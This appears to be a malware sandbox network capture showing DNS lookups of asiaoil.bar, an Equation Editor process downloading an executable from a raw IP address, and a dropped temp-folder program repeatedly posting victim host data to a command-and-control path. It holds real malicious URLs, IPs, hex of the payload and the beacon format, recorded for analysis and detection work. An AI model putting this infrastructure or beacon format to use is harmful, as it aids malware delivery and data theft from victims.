Feb 10, 2022 10:23:20.950112104 CET	8.8.8.8	192.168.2.22	0x38cf	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:20.950112104 CET	8.8.8.8	192.168.2.22	0x38cf	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:22.051954985 CET	8.8.8.8	192.168.2.22	0x3dc9	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:22.051954985 CET	8.8.8.8	192.168.2.22	0x3dc9	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:23.115072966 CET	8.8.8.8	192.168.2.22	0x38ab	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:23.115072966 CET	8.8.8.8	192.168.2.22	0x38ab	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:25.172872066 CET	8.8.8.8	192.168.2.22	0xead	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:25.172872066 CET	8.8.8.8	192.168.2.22	0xead	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:26.735743999 CET	8.8.8.8	192.168.2.22	0xf593	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:26.735743999 CET	8.8.8.8	192.168.2.22	0xf593	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:27.781708956 CET	8.8.8.8	192.168.2.22	0x32ee	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:27.781708956 CET	8.8.8.8	192.168.2.22	0x32ee	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:28.778294086 CET	8.8.8.8	192.168.2.22	0x4a27	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:28.778294086 CET	8.8.8.8	192.168.2.22	0x4a27	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:29.769979954 CET	8.8.8.8	192.168.2.22	0x7d68	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:29.769979954 CET	8.8.8.8	192.168.2.22	0x7d68	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:30.778796911 CET	8.8.8.8	192.168.2.22	0x9f6e	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:30.778796911 CET	8.8.8.8	192.168.2.22	0x9f6e	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:31.820941925 CET	8.8.8.8	192.168.2.22	0x3040	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:31.820941925 CET	8.8.8.8	192.168.2.22	0x3040	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:32.840801001 CET	8.8.8.8	192.168.2.22	0xd8f9	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:32.840801001 CET	8.8.8.8	192.168.2.22	0xd8f9	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

198.46.132.195

asiaoil.bar

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	198.46.132.195	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:21:50.261872053 CET	0	OUT	GET /windowSSH/.win32.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 198.46.132.195 Connection: Keep-Alive
Feb 10, 2022 10:21:50.385209084 CET	1	IN	HTTP/1.1 200 OK Date: Thu, 10 Feb 2022 09:21:50 GMT Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28 Last-Modified: Thu, 10 Feb 2022 03:31:37 GMT ETag: "480d4-5d7a1966fd8a9" Accept-Ranges: bytes Content-Length: 295124 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e5 75 4a a8 a1 14 24 fb a1 14 24 fb a1 14 24 fb 2f 1c 7b fb a3 14 24 fb a1 14 25 fb 3a 14 24 fb 22 1c 79 fb b0 14 24 fb f5 37 14 fb a8 14 24 fb 66 12 22 fb a0 14 24 fb 52 69 63 68 a1 14 24 fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c9 cd ef 48 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5a 00 00 00 d4 01 00 00 04 00 00 25 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 d0 02 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 73 00 00 b4 00 00 00 00 c0 02 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 76 59 00 00 00 10 00 00 00 5a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 11 00 00 00 70 00 00 00 12 00 00 00 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 af 01 00 00 90 00 00 00 04 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 00 09 00 00 00 c0 02 00 00 0a 00 00 00 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$uJ$$$/{$%:$"y$7$f"$Rich$PELHZ%2p@sp.textvYZ `.rdatap^@@.datap@.ndata@.rsrct@@
Feb 10, 2022 10:21:50.385242939 CET	3	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 8b 0d a8 3e 42 00 89 48 04 50 ff 75 10 ff 75 0c ff 75 08 ff 15 48 72 40 00 e9 42 01 00 00 53 56 8b 35 b0 3e 42 00 8d 45 a4 Data Ascii: U\}t+}FEuH>BHPuuuHr@BSV5>BEWPuLr@eEEPuPr@}eDp@FRVVU+MM3FQNUMVTUFPEEPMHp@EEPEPu
Feb 10, 2022 10:21:50.385256052 CET	4	IN	Data Raw: 60 3f 42 00 89 88 20 3f 42 00 e9 44 13 00 00 8b 45 e4 8d 34 85 20 3f 42 00 33 c0 8b 0e 3b cb 0f 94 c0 23 4d e8 8b 44 85 dc 89 0e e9 2e 13 00 00 ff 34 95 20 3f 42 00 56 e9 be 12 00 00 8b 0d 70 36 42 00 8b 35 60 72 40 00 3b cb 74 07 52 51 ff d6 8b Data Ascii: `?B ?BDE4 ?B3;#MD.4 ?BVp6B5`r@;tRQE6B;PQjLuPp@j.WJ@;tBj\V?SWEp@u\|p@=uWxp@uEEF:u9]tjWhB
Feb 10, 2022 10:21:50.385267019 CET	5	IN	Data Raw: 63 0f 00 00 8b c8 8b 45 e8 83 f8 0c 77 6d ff 24 85 97 29 40 00 03 f9 eb 62 2b f9 eb 5e 0f af cf 8b f9 eb 57 3b cb 74 42 8b c7 99 f7 f9 8b f8 eb 4a 0b f9 eb 46 23 f9 eb 42 33 f9 eb 3e 33 c0 3b fb 0f 94 c0 eb e7 3b fb 75 0e eb 08 33 ff eb 2b 3b fb Data Ascii: cEwm$)@b+^W;tBJF#B3>3;;u3+;t;t3G;t3EW\|jjPWVr@wE=h@;tDH;?;u;h@WVL?h@PW=?h@VPL
Feb 10, 2022 10:21:50.385279894 CET	7	IN	Data Raw: 14 71 40 00 8b f0 3b f3 74 3d 39 5d e4 89 5d fc 74 17 ff 75 e4 e8 6b f4 ff ff ff d6 85 c0 74 31 c7 45 fc 01 00 00 00 eb 28 68 00 90 40 00 68 68 af 40 00 68 00 40 42 00 68 00 04 00 00 ff 75 cc ff d6 83 c4 14 eb 0a ff 75 08 6a f7 e8 34 2e 00 00 39 Data Ascii: q@;t=9]]tukt1E(h@hh@h@Bhuuj4.9]Wq@yjKjDjjEjjEjEEVE5uj!EPhts@jShs@r@;EURhs@P;E
Feb 10, 2022 10:21:50.385297060 CET	8	IN	Data Raw: 01 00 00 8d 4d 08 53 51 50 68 68 9f 40 00 56 e8 10 35 00 00 50 ff 15 28 71 40 00 e9 ae f0 ff ff 6a 02 89 5d d4 e8 c9 04 00 00 83 f8 01 89 45 cc 0f 8c 6f 03 00 00 b9 ff 03 00 00 3b c1 7e 03 89 4d cc 38 1e 0f 84 8e 00 00 00 56 88 5d 0b e8 d1 34 00 Data Ascii: MSQPhh@V5P(q@j]Eo;~M8V]49]E~}uESPEjPu,q@te}u_9]u!}t+}t%E>F:Et@;u\|9EPW^4E8Et<t<u>FjSju4q@u>;8uSj
Feb 10, 2022 10:21:50.385313034 CET	10	IN	Data Raw: 30 00 00 85 f6 8b f8 7d 06 57 e8 c2 32 00 00 8b c7 5f 5e c2 04 00 55 8b ec 81 ec 0c 01 00 00 53 56 8d 45 fc 57 50 a1 50 3f 42 00 0c 08 33 db 50 53 ff 75 0c ff 75 08 ff 15 10 70 40 00 3b c3 75 69 8b 35 08 70 40 00 bf 05 01 00 00 eb 19 39 5d 10 75 Data Ascii: 0}W2_^USVEWPP?B3PSuup@;ui5p@9]uKSPuuWPSutup@j3;t$S5P?Buuup@3@_^[9P?Buuup@uD$u$?BUEPP?BEPjj
Feb 10, 2022 10:21:50.385329962 CET	11	IN	Data Raw: 08 56 50 ff 35 14 90 40 00 ff d3 85 c0 0f 84 c3 00 00 00 39 75 fc 0f 85 ba 00 00 00 ff 75 08 01 35 3c 70 41 00 e8 b6 00 00 00 3b c7 89 45 f8 0f 8c a4 00 00 00 39 7d 10 75 6b 39 7d 08 0f 8e 8e 00 00 00 be 38 30 41 00 bf 00 40 00 00 39 7d 08 7d 03 Data Ascii: VP5@9uu5<pA;E9}uk9}80A@9}}}EjPWV5@tm;}uhEjPuVu(q@t9}uEE)E<pA}0j3E;E\|EMWQPu5@tE<pAEEjX_^[QSUV5<pA+5@Wt
Feb 10, 2022 10:21:50.385346889 CET	12	IN	Data Raw: 00 00 6a 1a 66 c7 05 00 44 42 00 41 00 5f be 50 f0 41 00 a1 b0 3e 42 00 ff b0 20 01 00 00 56 e8 fd 25 00 00 56 ff 15 44 71 40 00 39 5c 24 10 74 3f 6a 01 56 68 00 ac 42 00 ff 15 a0 70 40 00 85 c0 74 2d 53 56 e8 03 23 00 00 a1 b0 3e 42 00 ff b0 24 Data Ascii: jfDBA_PA>B V%VDq@9\$t?jVhBp@t-SV#>B$V%V;tPp@\$DBOuSU"94?Bt{j(j(jw(;tH;tD;t@D$Pj(p@Pt,D$$Ph@SSSD$(SPSt$0D$8D$D
Feb 10, 2022 10:21:50.385364056 CET	14	IN	Data Raw: 72 40 00 81 fb 0d 04 00 00 75 1a ff 35 78 36 42 00 ff 15 e8 71 40 00 8b 44 24 2c a3 78 36 42 00 e9 fc 03 00 00 83 fb 11 75 11 55 55 57 ff 15 30 72 40 00 33 c0 40 e9 0b 04 00 00 81 fb 11 01 00 00 0f 85 9d 00 00 00 0f b7 74 24 2c 56 57 ff 15 2c 72 Data Ascii: r@u5x6Bq@D$,x6BuUUW0r@3@t$,VW,r@;tUUhWDr@Wq@uV.u9-@~?jj_;u49-,?BtW=`Ajx0ju%`At$0t$0h5x6BDr@t$0t$0S
Feb 10, 2022 10:21:50.497762918 CET	15	IN	Data Raw: 14 08 89 45 f8 74 06 50 ff d7 89 45 f8 f6 46 14 04 5f 74 0a 50 ff 75 0c ff 15 3c 70 40 00 f6 46 14 10 74 21 8b 46 08 89 45 f4 8b 46 0c 85 c0 74 07 50 ff 15 44 70 40 00 8d 45 f4 50 ff 15 48 70 40 00 89 46 0c 8b 46 0c eb 02 33 c0 5e c9 c2 0c 00 55 Data Ascii: EtPEF_tPu<p@Ft!FEFtPDp@EPHp@FF3^UE\AuQup@u-M\A3]U}SVW]{0}\|6B+9>Bs4j"ECueG}EK?@Ls

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:21:59.753804922 CET	312	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 176 Connection: close
Feb 10, 2022 10:21:59.770062923 CET	312	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus704672ALBUS-PCk0DE4229FCF97F5879F50F8FD3K2qUq
Feb 10, 2022 10:21:59.836230040 CET	313	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:21:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=B14QjzK93WN7FMCRwgPdBoL4GvyuLTCNzn128gIE66EmvAljQdFfNPOn5qPxQ8nApBsPYHTSjURn1ssUf9vIO%2F1OL2%2BdI5plkWkZzNc4H79V9rsVWKoyCfjhFO%2FkqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4453c8e679137-FRA Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49175	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:11.483872890 CET	328	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:11.500328064 CET	328	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:11.594872952 CET	329	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=thdM9Np%2FCdPYSURDbhixX%2FX8u4tEOLZU%2FvVuDbDE134sivqgwq%2BaJfoO5vJ0tXiBljYm%2FC%2F30qIj93fbRfKfXGvl%2BpAnC9Vf%2FlfUUZamRBGfzlQvLCoIxHh%2BgetLJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44585da166940-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.22	49176	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:12.553925991 CET	330	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:12.570199013 CET	330	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:12.721690893 CET	331	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BEFEhIgHNjdPe%2Fupr%2FEP7FioCKDN%2BQkotKPjVJOS%2Frml7qplaroEnTQz1FIinV2XsHaS%2FI7nUqbPdpg00nvPfbyrD1nl6xKScXbaQFyDSbzbSQdRqYsZkYL%2FaMhgSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4458c8c24904f-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.22	49177	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:13.627098083 CET	332	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:13.643413067 CET	332	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:13.718802929 CET	333	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KXNvxjzVfF4hz0T9dBMVDpRewCBTbhWivG59MXcrMq3Fz0H3HqGx%2F5DX%2Bne%2B%2FFccTkhD5ws8ZgjI27n620j0vO0mLN2fs3T3gcOiTbX8ownTlbqimc3Co0pX0aSa4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445933dcd9247-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.22	49178	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:14.784465075 CET	334	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:14.800611973 CET	334	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:14.920140982 CET	335	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NVUp%2BcxarDGGCShA6A3fVGNJKlQzMKQTikn%2FmGyj3943bP7FxgEz5bihNVsOHsU3DbxzwdZ03uFPNgUbs9%2F0oEhIIT0nnSYYifUkfynsl2OJVPJCYFOqol8oHQboIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4459a7c04694c-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.22	49179	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:15.879811049 CET	335	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:15.896128893 CET	336	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:15.963191986 CET	336	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:15 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YywndWPDbt1nWWBUZyOXzJTtQd6vv4%2FE1Tker%2B341XUrk33CDyk4IMaSDz5n%2BK2atL0VK3i5tDkfDiWK6GJ%2F3hUlhDHcf%2Fn6Pch6y%2FzzAYpnP5BzB5pzhQW97EcSSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445a1484f90e0-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.22	49180	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:17.221999884 CET	337	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:17.238274097 CET	337	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:17.311069012 CET	338	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UjFRYEW1vf5tlCFa1f1vwHKik1aRVbAIBpy1RMsjGKnLW4Qrm9vJ89Nrs6dLqDWMcgVmBrYxiuG%2FUeCxjisf7RsLjasp6QzHWLM4TEeZkFdIUloz%2B3B9BJnC3ZRzZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db445a9aa3b9249-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.22	49181	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:18.584774971 CET	339	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
